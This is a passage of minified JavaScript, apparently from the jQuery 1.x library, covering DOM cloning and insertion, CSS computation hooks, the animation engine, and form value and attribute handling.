a.querySelectorAll!==K?a.querySelectorAll(b||"*"):void 0;if(!f)for(f=[],c=a.childNodes||a;null!=(d=c[e]);e++)!b||m.nodeName(d,b)?f.push(d):m.merge(f,ub(d,b));return void 0===b||b&&m.nodeName(a,b)?m.merge([a],f):f}function vb(a){W.test(a.type)&&(a.defaultChecked=a.checked)}function wb(a,b){return m.nodeName(a,"table")&&m.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function xb(a){return a.type=(null!==m.find.attr(a,"type"))+"/"+a.type,a}function yb(a){var b=pb.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function zb(a,b){for(var c,d=0;null!=(c=a[d]);d++)m._data(c,"globalEval",!b||m._data(b[d],"globalEval"))}function Ab(a,b){if(1===b.nodeType&&m.hasData(a)){var c,d,e,f=m._data(a),g=m._data(b,f),h=f.events;if(h){delete g.handle,g.events={};for(c in h)for(d=0,e=h[c].length;e>d;d++)m.event.add(b,c,h[c][d])}g.data&&(g.data=m.extend({},g.data))}}function Bb(a,b){var c,d,e;if(1===b.nodeType){if(c=b.nodeName.toLowerCase(),!k.noCloneEvent&&b[m.expando]){e=m._data(b);for(d in e.events)m.removeEvent(b,d,e.handle);b.removeAttribute(m.expando)}"script"===c&&b.text!==a.text?(xb(b).text=a.text,yb(b)):"object"===c?(b.parentNode&&(b.outerHTML=a.outerHTML),k.html5Clone&&a.innerHTML&&!m.trim(b.innerHTML)&&(b.innerHTML=a.innerHTML)):"input"===c&&W.test(a.type)?(b.defaultChecked=b.checked=a.checked,b.value!==a.value&&(b.value=a.value)):"option"===c?b.defaultSelected=b.selected=a.defaultSelected:("input"===c||"textarea"===c)&&(b.defaultValue=a.defaultValue)}}m.extend({clone:function(a,b,c){var d,e,f,g,h,i=m.contains(a.ownerDocument,a);if(k.html5Clone||m.isXMLDoc(a)||!gb.test("<"+a.nodeName+">")?f=a.cloneNode(!0):(tb.innerHTML=a.outerHTML,tb.removeChild(f=tb.firstChild)),!(k.noCloneEvent&&k.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||m.isXMLDoc(a)))for(d=ub(f),h=ub(a),g=0;null!=(e=h[g]);++g)d[g]&&Bb(e,d[g]);if(b)if(c)for(h=h||ub(a),d=d||ub(f),g=0;null!=(e=h[g]);g++)Ab(e,d[g]);else Ab(a,f);return d=ub(f,"script"),d.length>0&&zb(d,!i&&ub(a,"script")),d=h=e=null,f},buildFragment:function(a,b,c,d){for(var e,f,g,h,i,j,l,n=a.length,o=db(b),p=[],q=0;n>q;q++)if(f=a[q],f||0===f)if("object"===m.type(f))m.merge(p,f.nodeType?[f]:f);else if(lb.test(f)){h=h||o.appendChild(b.createElement("div")),i=(jb.exec(f)||["",""])[1].toLowerCase(),l=rb[i]||rb._default,h.innerHTML=l[1]+f.replace(ib,"<$1></$2>")+l[2],e=l[0];while(e--)h=h.lastChild;if(!k.leadingWhitespace&&hb.test(f)&&p.push(b.createTextNode(hb.exec(f)[0])),!k.tbody){f="table"!==i||kb.test(f)?"<table>"!==l[1]||kb.test(f)?0:h:h.firstChild,e=f&&f.childNodes.length;while(e--)m.nodeName(j=f.childNodes[e],"tbody")&&!j.childNodes.length&&f.removeChild(j)}m.merge(p,h.childNodes),h.textContent="";while(h.firstChild)h.removeChild(h.firstChild);h=o.lastChild}else p.push(b.createTextNode(f));h&&o.removeChild(h),k.appendChecked||m.grep(ub(p,"input"),vb),q=0;while(f=p[q++])if((!d||-1===m.inArray(f,d))&&(g=m.contains(f.ownerDocument,f),h=ub(o.appendChild(f),"script"),g&&zb(h),c)){e=0;while(f=h[e++])ob.test(f.type||"")&&c.push(f)}return h=null,o},cleanData:function(a,b){for(var d,e,f,g,h=0,i=m.expando,j=m.cache,l=k.deleteExpando,n=m.event.special;null!=(d=a[h]);h++)if((b||m.acceptData(d))&&(f=d[i],g=f&&j[f])){if(g.events)for(e in g.events)n[e]?m.event.remove(d,e):m.removeEvent(d,e,g.handle);j[f]&&(delete j[f],l?delete d[i]:typeof d.removeAttribute!==K?d.removeAttribute(i):d[i]=null,c.push(f))}}}),m.fn.extend({text:function(a){return V(this,function(a){return void 0===a?m.text(this):this.empty().append((this[0]&&this[0].ownerDocument||y).createTextNode(a))},null,a,arguments.length)},append:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=wb(this,a);b.appendChild(a)}})},prepend:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=wb(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},remove:function(a,b){for(var c,d=a?m.filter(a,this):this,e=0;null!=(c=d[e]);e++)b||1!==c.nodeType||m.cleanData(ub(c)),c.parentNode&&(b&&m.contains(c.ownerDocument,c)&&zb(ub(c,"script")),c.parentNode.removeChild(c));return this},empty:function(){for(var a,b=0;null!=(a=this[b]);b++){1===a.nodeType&&m.cleanData(ub(a,!1));while(a.firstChild)a.removeChild(a.firstChild);a.options&&m.nodeName(a,"select")&&(a.options.length=0)}return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return m.clone(this,a,b)})},html:function(a){return V(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a)return 1===b.nodeType?b.innerHTML.replace(fb,""):void 0;if(!("string"!=typeof a||mb.test(a)||!k.htmlSerialize&&gb.test(a)||!k.leadingWhitespace&&hb.test(a)||rb[(jb.exec(a)||["",""])[1].toLowerCase()])){a=a.replace(ib,"<$1></$2>");try{for(;d>c;c++)b=this[c]||{},1===b.nodeType&&(m.cleanData(ub(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=arguments[0];return this.domManip(arguments,function(b){a=this.parentNode,m.cleanData(ub(this)),a&&a.replaceChild(b,this)}),a&&(a.length||a.nodeType)?this:this.remove()},detach:function(a){return this.remove(a,!0)},domManip:function(a,b){a=e.apply([],a);var c,d,f,g,h,i,j=0,l=this.length,n=this,o=l-1,p=a[0],q=m.isFunction(p);if(q||l>1&&"string"==typeof p&&!k.checkClone&&nb.test(p))return this.each(function(c){var d=n.eq(c);q&&(a[0]=p.call(this,c,d.html())),d.domManip(a,b)});if(l&&(i=m.buildFragment(a,this[0].ownerDocument,!1,this),c=i.firstChild,1===i.childNodes.length&&(i=c),c)){for(g=m.map(ub(i,"script"),xb),f=g.length;l>j;j++)d=i,j!==o&&(d=m.clone(d,!0,!0),f&&m.merge(g,ub(d,"script"))),b.call(this[j],d,j);if(f)for(h=g[g.length-1].ownerDocument,m.map(g,yb),j=0;f>j;j++)d=g[j],ob.test(d.type||"")&&!m._data(d,"globalEval")&&m.contains(h,d)&&(d.src?m._evalUrl&&m._evalUrl(d.src):m.globalEval((d.text||d.textContent||d.innerHTML||"").replace(qb,"")));i=c=null}return this}}),m.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){m.fn[a]=function(a){for(var c,d=0,e=[],g=m(a),h=g.length-1;h>=d;d++)c=d===h?this:this.clone(!0),m(g[d])[b](c),f.apply(e,c.get());return this.pushStack(e)}});var Cb,Db={};function Eb(b,c){var d,e=m(c.createElement(b)).appendTo(c.body),f=a.getDefaultComputedStyle&&(d=a.getDefaultComputedStyle(e[0]))?d.display:m.css(e[0],"display");return e.detach(),f}function Fb(a){var b=y,c=Db[a];return c||(c=Eb(a,b),"none"!==c&&c||(Cb=(Cb||m("<iframe frameborder='0' width='0' height='0'/>")).appendTo(b.documentElement),b=(Cb[0].contentWindow||Cb[0].contentDocument).document,b.write(),b.close(),c=Eb(a,b),Cb.detach()),Db[a]=c),c}!function(){var a;k.shrinkWrapBlocks=function(){if(null!=a)return a;a=!1;var b,c,d;return c=y.getElementsByTagName("body")[0],c&&c.style?(b=y.createElement("div"),d=y.createElement("div"),d.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px",c.appendChild(d).appendChild(b),typeof b.style.zoom!==K&&(b.style.cssText="-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;display:block;margin:0;border:0;padding:1px;width:1px;zoom:1",b.appendChild(y.createElement("div")).style.width="5px",a=3!==b.offsetWidth),c.removeChild(d),a):void 0}}();var Gb=/^margin/,Hb=new RegExp("^("+S+")(?!px)[a-z%]+$","i"),Ib,Jb,Kb=/^(top|right|bottom|left)$/;a.getComputedStyle?(Ib=function(b){return b.ownerDocument.defaultView.opener?b.ownerDocument.defaultView.getComputedStyle(b,null):a.getComputedStyle(b,null)},Jb=function(a,b,c){var d,e,f,g,h=a.style;return c=c||Ib(a),g=c?c.getPropertyValue(b)||c[b]:void 0,c&&(""!==g||m.contains(a.ownerDocument,a)||(g=m.style(a,b)),Hb.test(g)&&Gb.test(b)&&(d=h.width,e=h.minWidth,f=h.maxWidth,h.minWidth=h.maxWidth=h.width=g,g=c.width,h.width=d,h.minWidth=e,h.maxWidth=f)),void 0===g?g:g+""}):y.documentElement.currentStyle&&(Ib=function(a){return a.currentStyle},Jb=function(a,b,c){var d,e,f,g,h=a.style;return c=c||Ib(a),g=c?c[b]:void 0,null==g&&h&&h[b]&&(g=h[b]),Hb.test(g)&&!Kb.test(b)&&(d=h.left,e=a.runtimeStyle,f=e&&e.left,f&&(e.left=a.currentStyle.left),h.left="fontSize"===b?"1em":g,g=h.pixelLeft+"px",h.left=d,f&&(e.left=f)),void 0===g?g:g+""||"auto"});function Lb(a,b){return{get:function(){var c=a();if(null!=c)return c?void delete this.get:(this.get=b).apply(this,arguments)}}}!function(){var b,c,d,e,f,g,h;if(b=y.createElement("div"),b.innerHTML="  <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",d=b.getElementsByTagName("a")[0],c=d&&d.style){c.cssText="float:left;opacity:.5",k.opacity="0.5"===c.opacity,k.cssFloat=!!c.cssFloat,b.style.backgroundClip="content-box",b.cloneNode(!0).style.backgroundClip="",k.clearCloneStyle="content-box"===b.style.backgroundClip,k.boxSizing=""===c.boxSizing||""===c.MozBoxSizing||""===c.WebkitBoxSizing,m.extend(k,{reliableHiddenOffsets:function(){return null==g&&i(),g},boxSizingReliable:function(){return null==f&&i(),f},pixelPosition:function(){return null==e&&i(),e},reliableMarginRight:function(){return null==h&&i(),h}});function i(){var b,c,d,i;c=y.getElementsByTagName("body")[0],c&&c.style&&(b=y.createElement("div"),d=y.createElement("div"),d.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px",c.appendChild(d).appendChild(b),b.style.cssText="-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;display:block;margin-top:1%;top:1%;border:1px;padding:1px;width:4px;position:absolute",e=f=!1,h=!0,a.getComputedStyle&&(e="1%"!==(a.getComputedStyle(b,null)||{}).top,f="4px"===(a.getComputedStyle(b,null)||{width:"4px"}).width,i=b.appendChild(y.createElement("div")),i.style.cssText=b.style.cssText="-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;display:block;margin:0;border:0;padding:0",i.style.marginRight=i.style.width="0",b.style.width="1px",h=!parseFloat((a.getComputedStyle(i,null)||{}).marginRight),b.removeChild(i)),b.innerHTML="<table><tr><td></td><td>t</td></tr></table>",i=b.getElementsByTagName("td"),i[0].style.cssText="margin:0;border:0;padding:0;display:none",g=0===i[0].offsetHeight,g&&(i[0].style.display="",i[1].style.display="none",g=0===i[0].offsetHeight),c.removeChild(d))}}}(),m.swap=function(a,b,c,d){var e,f,g={};for(f in b)g[f]=a.style[f],a.style[f]=b[f];e=c.apply(a,d||[]);for(f in b)a.style[f]=g[f];return e};var Mb=/alpha\([^)]*\)/i,Nb=/opacity\s*=\s*([^)]*)/,Ob=/^(none|table(?!-c[ea]).+)/,Pb=new RegExp("^("+S+")(.*)$","i"),Qb=new RegExp("^([+-])=("+S+")","i"),Rb={position:"absolute",visibility:"hidden",display:"block"},Sb={letterSpacing:"0",fontWeight:"400"},Tb=["Webkit","O","Moz","ms"];function Ub(a,b){if(b in a)return b;var c=b.charAt(0).toUpperCase()+b.slice(1),d=b,e=Tb.length;while(e--)if(b=Tb[e]+c,b in a)return b;return d}function Vb(a,b){for(var c,d,e,f=[],g=0,h=a.length;h>g;g++)d=a[g],d.style&&(f[g]=m._data(d,"olddisplay"),c=d.style.display,b?(f[g]||"none"!==c||(d.style.display=""),""===d.style.display&&U(d)&&(f[g]=m._data(d,"olddisplay",Fb(d.nodeName)))):(e=U(d),(c&&"none"!==c||!e)&&m._data(d,"olddisplay",e?c:m.css(d,"display"))));for(g=0;h>g;g++)d=a[g],d.style&&(b&&"none"!==d.style.display&&""!==d.style.display||(d.style.display=b?f[g]||"":"none"));return a}function Wb(a,b,c){var d=Pb.exec(b);return d?Math.max(0,d[1]-(c||0))+(d[2]||"px"):b}function Xb(a,b,c,d,e){for(var f=c===(d?"border":"content")?4:"width"===b?1:0,g=0;4>f;f+=2)"margin"===c&&(g+=m.css(a,c+T[f],!0,e)),d?("content"===c&&(g-=m.css(a,"padding"+T[f],!0,e)),"margin"!==c&&(g-=m.css(a,"border"+T[f]+"Width",!0,e))):(g+=m.css(a,"padding"+T[f],!0,e),"padding"!==c&&(g+=m.css(a,"border"+T[f]+"Width",!0,e)));return g}function Yb(a,b,c){var d=!0,e="width"===b?a.offsetWidth:a.offsetHeight,f=Ib(a),g=k.boxSizing&&"border-box"===m.css(a,"boxSizing",!1,f);if(0>=e||null==e){if(e=Jb(a,b,f),(0>e||null==e)&&(e=a.style[b]),Hb.test(e))return e;d=g&&(k.boxSizingReliable()||e===a.style[b]),e=parseFloat(e)||0}return e+Xb(a,b,c||(g?"border":"content"),d,f)+"px"}m.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=Jb(a,"opacity");return""===c?"1":c}}}},cssNumber:{columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":k.cssFloat?"cssFloat":"styleFloat"},style:function(a,b,c,d){if(a&&3!==a.nodeType&&8!==a.nodeType&&a.style){var e,f,g,h=m.camelCase(b),i=a.style;if(b=m.cssProps[h]||(m.cssProps[h]=Ub(i,h)),g=m.cssHooks[b]||m.cssHooks[h],void 0===c)return g&&"get"in g&&void 0!==(e=g.get(a,!1,d))?e:i[b];if(f=typeof c,"string"===f&&(e=Qb.exec(c))&&(c=(e[1]+1)*e[2]+parseFloat(m.css(a,b)),f="number"),null!=c&&c===c&&("number"!==f||m.cssNumber[h]||(c+="px"),k.clearCloneStyle||""!==c||0!==b.indexOf("background")||(i[b]="inherit"),!(g&&"set"in g&&void 0===(c=g.set(a,c,d)))))try{i[b]=c}catch(j){}}},css:function(a,b,c,d){var e,f,g,h=m.camelCase(b);return b=m.cssProps[h]||(m.cssProps[h]=Ub(a.style,h)),g=m.cssHooks[b]||m.cssHooks[h],g&&"get"in g&&(f=g.get(a,!0,c)),void 0===f&&(f=Jb(a,b,d)),"normal"===f&&b in Sb&&(f=Sb[b]),""===c||c?(e=parseFloat(f),c===!0||m.isNumeric(e)?e||0:f):f}}),m.each(["height","width"],function(a,b){m.cssHooks[b]={get:function(a,c,d){return c?Ob.test(m.css(a,"display"))&&0===a.offsetWidth?m.swap(a,Rb,function(){return Yb(a,b,d)}):Yb(a,b,d):void 0},set:function(a,c,d){var e=d&&Ib(a);return Wb(a,c,d?Xb(a,b,d,k.boxSizing&&"border-box"===m.css(a,"boxSizing",!1,e),e):0)}}}),k.opacity||(m.cssHooks.opacity={get:function(a,b){return Nb.test((b&&a.currentStyle?a.currentStyle.filter:a.style.filter)||"")?.01*parseFloat(RegExp.$1)+"":b?"1":""},set:function(a,b){var c=a.style,d=a.currentStyle,e=m.isNumeric(b)?"alpha(opacity="+100*b+")":"",f=d&&d.filter||c.filter||"";c.zoom=1,(b>=1||""===b)&&""===m.trim(f.replace(Mb,""))&&c.removeAttribute&&(c.removeAttribute("filter"),""===b||d&&!d.filter)||(c.filter=Mb.test(f)?f.replace(Mb,e):f+" "+e)}}),m.cssHooks.marginRight=Lb(k.reliableMarginRight,function(a,b){return b?m.swap(a,{display:"inline-block"},Jb,[a,"marginRight"]):void 0}),m.each({margin:"",padding:"",border:"Width"},function(a,b){m.cssHooks[a+b]={expand:function(c){for(var d=0,e={},f="string"==typeof c?c.split(" "):[c];4>d;d++)e[a+T[d]+b]=f[d]||f[d-2]||f[0];return e}},Gb.test(a)||(m.cssHooks[a+b].set=Wb)}),m.fn.extend({css:function(a,b){return V(this,function(a,b,c){var d,e,f={},g=0;if(m.isArray(b)){for(d=Ib(a),e=b.length;e>g;g++)f[b[g]]=m.css(a,b[g],!1,d);return f}return void 0!==c?m.style(a,b,c):m.css(a,b)},a,b,arguments.length>1)},show:function(){return Vb(this,!0)},hide:function(){return Vb(this)},toggle:function(a){return"boolean"==typeof a?a?this.show():this.hide():this.each(function(){U(this)?m(this).show():m(this).hide()})}});function Zb(a,b,c,d,e){return new Zb.prototype.init(a,b,c,d,e)
}m.Tween=Zb,Zb.prototype={constructor:Zb,init:function(a,b,c,d,e,f){this.elem=a,this.prop=c,this.easing=e||"swing",this.options=b,this.start=this.now=this.cur(),this.end=d,this.unit=f||(m.cssNumber[c]?"":"px")},cur:function(){var a=Zb.propHooks[this.prop];return a&&a.get?a.get(this):Zb.propHooks._default.get(this)},run:function(a){var b,c=Zb.propHooks[this.prop];return this.pos=b=this.options.duration?m.easing[this.easing](a,this.options.duration*a,0,1,this.options.duration):a,this.now=(this.end-this.start)*b+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),c&&c.set?c.set(this):Zb.propHooks._default.set(this),this}},Zb.prototype.init.prototype=Zb.prototype,Zb.propHooks={_default:{get:function(a){var b;return null==a.elem[a.prop]||a.elem.style&&null!=a.elem.style[a.prop]?(b=m.css(a.elem,a.prop,""),b&&"auto"!==b?b:0):a.elem[a.prop]},set:function(a){m.fx.step[a.prop]?m.fx.step[a.prop](a):a.elem.style&&(null!=a.elem.style[m.cssProps[a.prop]]||m.cssHooks[a.prop])?m.style(a.elem,a.prop,a.now+a.unit):a.elem[a.prop]=a.now}}},Zb.propHooks.scrollTop=Zb.propHooks.scrollLeft={set:function(a){a.elem.nodeType&&a.elem.parentNode&&(a.elem[a.prop]=a.now)}},m.easing={linear:function(a){return a},swing:function(a){return.5-Math.cos(a*Math.PI)/2}},m.fx=Zb.prototype.init,m.fx.step={};var $b,_b,ac=/^(?:toggle|show|hide)$/,bc=new RegExp("^(?:([+-])=|)("+S+")([a-z%]*)$","i"),cc=/queueHooks$/,dc=[ic],ec={"*":[function(a,b){var c=this.createTween(a,b),d=c.cur(),e=bc.exec(b),f=e&&e[3]||(m.cssNumber[a]?"":"px"),g=(m.cssNumber[a]||"px"!==f&&+d)&&bc.exec(m.css(c.elem,a)),h=1,i=20;if(g&&g[3]!==f){f=f||g[3],e=e||[],g=+d||1;do h=h||".5",g/=h,m.style(c.elem,a,g+f);while(h!==(h=c.cur()/d)&&1!==h&&--i)}return e&&(g=c.start=+g||+d||0,c.unit=f,c.end=e[1]?g+(e[1]+1)*e[2]:+e[2]),c}]};function fc(){return setTimeout(function(){$b=void 0}),$b=m.now()}function gc(a,b){var c,d={height:a},e=0;for(b=b?1:0;4>e;e+=2-b)c=T[e],d["margin"+c]=d["padding"+c]=a;return b&&(d.opacity=d.width=a),d}function hc(a,b,c){for(var d,e=(ec[b]||[]).concat(ec["*"]),f=0,g=e.length;g>f;f++)if(d=e[f].call(c,b,a))return d}function ic(a,b,c){var d,e,f,g,h,i,j,l,n=this,o={},p=a.style,q=a.nodeType&&U(a),r=m._data(a,"fxshow");c.queue||(h=m._queueHooks(a,"fx"),null==h.unqueued&&(h.unqueued=0,i=h.empty.fire,h.empty.fire=function(){h.unqueued||i()}),h.unqueued++,n.always(function(){n.always(function(){h.unqueued--,m.queue(a,"fx").length||h.empty.fire()})})),1===a.nodeType&&("height"in b||"width"in b)&&(c.overflow=[p.overflow,p.overflowX,p.overflowY],j=m.css(a,"display"),l="none"===j?m._data(a,"olddisplay")||Fb(a.nodeName):j,"inline"===l&&"none"===m.css(a,"float")&&(k.inlineBlockNeedsLayout&&"inline"!==Fb(a.nodeName)?p.zoom=1:p.display="inline-block")),c.overflow&&(p.overflow="hidden",k.shrinkWrapBlocks()||n.always(function(){p.overflow=c.overflow[0],p.overflowX=c.overflow[1],p.overflowY=c.overflow[2]}));for(d in b)if(e=b[d],ac.exec(e)){if(delete b[d],f=f||"toggle"===e,e===(q?"hide":"show")){if("show"!==e||!r||void 0===r[d])continue;q=!0}o[d]=r&&r[d]||m.style(a,d)}else j=void 0;if(m.isEmptyObject(o))"inline"===("none"===j?Fb(a.nodeName):j)&&(p.display=j);else{r?"hidden"in r&&(q=r.hidden):r=m._data(a,"fxshow",{}),f&&(r.hidden=!q),q?m(a).show():n.done(function(){m(a).hide()}),n.done(function(){var b;m._removeData(a,"fxshow");for(b in o)m.style(a,b,o[b])});for(d in o)g=hc(q?r[d]:0,d,n),d in r||(r[d]=g.start,q&&(g.end=g.start,g.start="width"===d||"height"===d?1:0))}}function jc(a,b){var c,d,e,f,g;for(c in a)if(d=m.camelCase(c),e=b[d],f=a[c],m.isArray(f)&&(e=f[1],f=a[c]=f[0]),c!==d&&(a[d]=f,delete a[c]),g=m.cssHooks[d],g&&"expand"in g){f=g.expand(f),delete a[d];for(c in f)c in a||(a[c]=f[c],b[c]=e)}else b[d]=e}function kc(a,b,c){var d,e,f=0,g=dc.length,h=m.Deferred().always(function(){delete i.elem}),i=function(){if(e)return!1;for(var b=$b||fc(),c=Math.max(0,j.startTime+j.duration-b),d=c/j.duration||0,f=1-d,g=0,i=j.tweens.length;i>g;g++)j.tweens[g].run(f);return h.notifyWith(a,[j,f,c]),1>f&&i?c:(h.resolveWith(a,[j]),!1)},j=h.promise({elem:a,props:m.extend({},b),opts:m.extend(!0,{specialEasing:{}},c),originalProperties:b,originalOptions:c,startTime:$b||fc(),duration:c.duration,tweens:[],createTween:function(b,c){var d=m.Tween(a,j.opts,b,c,j.opts.specialEasing[b]||j.opts.easing);return j.tweens.push(d),d},stop:function(b){var c=0,d=b?j.tweens.length:0;if(e)return this;for(e=!0;d>c;c++)j.tweens[c].run(1);return b?h.resolveWith(a,[j,b]):h.rejectWith(a,[j,b]),this}}),k=j.props;for(jc(k,j.opts.specialEasing);g>f;f++)if(d=dc[f].call(j,a,k,j.opts))return d;return m.map(k,hc,j),m.isFunction(j.opts.start)&&j.opts.start.call(a,j),m.fx.timer(m.extend(i,{elem:a,anim:j,queue:j.opts.queue})),j.progress(j.opts.progress).done(j.opts.done,j.opts.complete).fail(j.opts.fail).always(j.opts.always)}m.Animation=m.extend(kc,{tweener:function(a,b){m.isFunction(a)?(b=a,a=["*"]):a=a.split(" ");for(var c,d=0,e=a.length;e>d;d++)c=a[d],ec[c]=ec[c]||[],ec[c].unshift(b)},prefilter:function(a,b){b?dc.unshift(a):dc.push(a)}}),m.speed=function(a,b,c){var d=a&&"object"==typeof a?m.extend({},a):{complete:c||!c&&b||m.isFunction(a)&&a,duration:a,easing:c&&b||b&&!m.isFunction(b)&&b};return d.duration=m.fx.off?0:"number"==typeof d.duration?d.duration:d.duration in m.fx.speeds?m.fx.speeds[d.duration]:m.fx.speeds._default,(null==d.queue||d.queue===!0)&&(d.queue="fx"),d.old=d.complete,d.complete=function(){m.isFunction(d.old)&&d.old.call(this),d.queue&&m.dequeue(this,d.queue)},d},m.fn.extend({fadeTo:function(a,b,c,d){return this.filter(U).css("opacity",0).show().end().animate({opacity:b},a,c,d)},animate:function(a,b,c,d){var e=m.isEmptyObject(a),f=m.speed(b,c,d),g=function(){var b=kc(this,m.extend({},a),f);(e||m._data(this,"finish"))&&b.stop(!0)};return g.finish=g,e||f.queue===!1?this.each(g):this.queue(f.queue,g)},stop:function(a,b,c){var d=function(a){var b=a.stop;delete a.stop,b(c)};return"string"!=typeof a&&(c=b,b=a,a=void 0),b&&a!==!1&&this.queue(a||"fx",[]),this.each(function(){var b=!0,e=null!=a&&a+"queueHooks",f=m.timers,g=m._data(this);if(e)g[e]&&g[e].stop&&d(g[e]);else for(e in g)g[e]&&g[e].stop&&cc.test(e)&&d(g[e]);for(e=f.length;e--;)f[e].elem!==this||null!=a&&f[e].queue!==a||(f[e].anim.stop(c),b=!1,f.splice(e,1));(b||!c)&&m.dequeue(this,a)})},finish:function(a){return a!==!1&&(a=a||"fx"),this.each(function(){var b,c=m._data(this),d=c[a+"queue"],e=c[a+"queueHooks"],f=m.timers,g=d?d.length:0;for(c.finish=!0,m.queue(this,a,[]),e&&e.stop&&e.stop.call(this,!0),b=f.length;b--;)f[b].elem===this&&f[b].queue===a&&(f[b].anim.stop(!0),f.splice(b,1));for(b=0;g>b;b++)d[b]&&d[b].finish&&d[b].finish.call(this);delete c.finish})}}),m.each(["toggle","show","hide"],function(a,b){var c=m.fn[b];m.fn[b]=function(a,d,e){return null==a||"boolean"==typeof a?c.apply(this,arguments):this.animate(gc(b,!0),a,d,e)}}),m.each({slideDown:gc("show"),slideUp:gc("hide"),slideToggle:gc("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(a,b){m.fn[a]=function(a,c,d){return this.animate(b,a,c,d)}}),m.timers=[],m.fx.tick=function(){var a,b=m.timers,c=0;for($b=m.now();c<b.length;c++)a=b[c],a()||b[c]!==a||b.splice(c--,1);b.length||m.fx.stop(),$b=void 0},m.fx.timer=function(a){m.timers.push(a),a()?m.fx.start():m.timers.pop()},m.fx.interval=13,m.fx.start=function(){_b||(_b=setInterval(m.fx.tick,m.fx.interval))},m.fx.stop=function(){clearInterval(_b),_b=null},m.fx.speeds={slow:600,fast:200,_default:400},m.fn.delay=function(a,b){return a=m.fx?m.fx.speeds[a]||a:a,b=b||"fx",this.queue(b,function(b,c){var d=setTimeout(b,a);c.stop=function(){clearTimeout(d)}})},function(){var a,b,c,d,e;b=y.createElement("div"),b.setAttribute("className","t"),b.innerHTML="  <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",d=b.getElementsByTagName("a")[0],c=y.createElement("select"),e=c.appendChild(y.createElement("option")),a=b.getElementsByTagName("input")[0],d.style.cssText="top:1px",k.getSetAttribute="t"!==b.className,k.style=/top/.test(d.getAttribute("style")),k.hrefNormalized="/a"===d.getAttribute("href"),k.checkOn=!!a.value,k.optSelected=e.selected,k.enctype=!!y.createElement("form").enctype,c.disabled=!0,k.optDisabled=!e.disabled,a=y.createElement("input"),a.setAttribute("value",""),k.input=""===a.getAttribute("value"),a.value="t",a.setAttribute("type","radio"),k.radioValue="t"===a.value}();var lc=/\r/g;m.fn.extend({val:function(a){var b,c,d,e=this[0];{if(arguments.length)return d=m.isFunction(a),this.each(function(c){var e;1===this.nodeType&&(e=d?a.call(this,c,m(this).val()):a,null==e?e="":"number"==typeof e?e+="":m.isArray(e)&&(e=m.map(e,function(a){return null==a?"":a+""})),b=m.valHooks[this.type]||m.valHooks[this.nodeName.toLowerCase()],b&&"set"in b&&void 0!==b.set(this,e,"value")||(this.value=e))});if(e)return b=m.valHooks[e.type]||m.valHooks[e.nodeName.toLowerCase()],b&&"get"in b&&void 0!==(c=b.get(e,"value"))?c:(c=e.value,"string"==typeof c?c.replace(lc,""):null==c?"":c)}}}),m.extend({valHooks:{option:{get:function(a){var b=m.find.attr(a,"value");return null!=b?b:m.trim(m.text(a))}},select:{get:function(a){for(var b,c,d=a.options,e=a.selectedIndex,f="select-one"===a.type||0>e,g=f?null:[],h=f?e+1:d.length,i=0>e?h:f?e:0;h>i;i++)if(c=d[i],!(!c.selected&&i!==e||(k.optDisabled?c.disabled:null!==c.getAttribute("disabled"))||c.parentNode.disabled&&m.nodeName(c.parentNode,"optgroup"))){if(b=m(c).val(),f)return b;g.push(b)}return g},set:function(a,b){var c,d,e=a.options,f=m.makeArray(b),g=e.length;while(g--)if(d=e[g],m.inArray(m.valHooks.option.get(d),f)>=0)try{d.selected=c=!0}catch(h){d.scrollHeight}else d.selected=!1;return c||(a.selectedIndex=-1),e}}}}),m.each(["radio","checkbox"],function(){m.valHooks[this]={set:function(a,b){return m.isArray(b)?a.checked=m.inArray(m(a).val(),b)>=0:void 0}},k.checkOn||(m.valHooks[this].get=function(a){return null===a.getAttribute("value")?"on":a.value})});var mc,nc,oc=m.expr.attrHandle,pc=/^(?:checked|selected)$/i,qc=k.getSetAttribute,rc=k.input;m.fn.extend({attr:function(a,b){return V(this,m.attr,a,b,arguments.length>1)},removeAttr:function(a){return this.each(function(){m.removeAttr(this,a)})}}),m.extend({attr:function(a,b,c){var d,e,f=a.nodeType;if(a&&3!==f&&8!==f&&2!==f)return typeof a.getAttribute===K?m.prop(a,b,c):(1===f&&m.isXMLDoc(a)||(b=b.toLowerCase(),d=m.attrHooks[b]||(m.expr.match.bool.test(b)?nc:mc)),void 0===c?d&&"get"in d&&null!==(e=d.get(a,b))?e:(e=m.find.attr(a,b),null==e?void 0:e):null!==c?d&&"set"in d&&void 0!==(e=d.set(a,c,b))?e:(a.setAttribute(b,c+""),c):void m.removeAttr(a,b))},removeAttr:function(a,b){var 